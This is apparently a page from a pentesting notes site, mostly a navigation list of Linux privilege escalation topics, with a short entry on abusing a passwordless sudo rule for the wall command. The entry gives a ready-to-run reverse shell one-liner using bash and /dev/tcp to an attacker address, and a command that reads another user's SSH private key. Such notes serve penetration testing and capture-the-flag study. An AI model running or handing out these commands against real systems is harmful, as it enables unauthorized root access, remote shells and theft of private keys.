Exploit Notes

Exploits related to Linux

Privilege Escalation

Ansible Playbook Privilege Escalation

Apache Conf Privilege Escalation

Bash eq Privilege Escalation

Buffer Overflow Privilege Escalation

Chrome Remote Debugger Pentesting

Doas Privilege Escalation

LXC/LXD (Linux Container/Daemon) Privilege Escalation

Linux Privilege Escalation

Mozilla Pentesting

OpenSSL Privilege Escalation

PolKit Privilege Escalation

Privilege Escalation with Wildcard Injection

Python Privilege Escalation

Python Yaml Privilege Escalation

Ruby Privilege Escalation

Snapd Privilege Escalation

Sudo ClamAV Privilege Escalation

Sudo Dstat Privilege Escalation

Sudo Exiftool Privilege Escalation

Sudo Fail2ban Privilege Escalation

Sudo Git Privilege Escalation

Sudo Java Privilege Escalation

Sudo OpenVPN Privilege Escalation

Sudo Path Traversal Privilege Escalation

Sudo Privilege Escalation

Sudo Privilege Escalation by Overriding Shared Library

Sudo Reboot Privilege Escalation

Sudo Screen Privilege Escalation

Sudo Service Privilege Escalation

Sudo Shutdown, Poweroff Privilege Escalation

Sudo Systemctl Privilege Escalation

Sudo Tee Privilege Escalation

Sudo Umount Privilege Escalation

Sudo Vim Privilege Escalation

Sudo Wall Privilege Escalation

Sudo Wget Privilege Escalation

Sudoedit Privilege Escalation

Update-Motd Privilege Escalation

Post Exploitation

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Backup

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LXC/LXD (Linux Container/Daemon) Privilege Escalation

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Archived Files

Linux Techniques

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X11 (X Window System) Pentesting

Sudo Wall Privilege Escalation

Last modified: 2023-02-05

Privilege Escalation

Wall command can display the result of OS command. Executing as root might be vulnerable to privilege escalation (PrivEsc).

Investigation

sudo -l

(ALL) NOPASSWD: wall

Exploitation

# Reverse shell
sudo wall "$(bash -c 'bash -i >& /dev/tcp/<local-ip>/<local-port> 0>&1')"

# Gets a SSH private key of another user
sudo wall "$(cat /home/user/.ssh/id_rsa)"

Tools by HDKS

Automatic web fuzzer.

Auto reconnaissance CLI.

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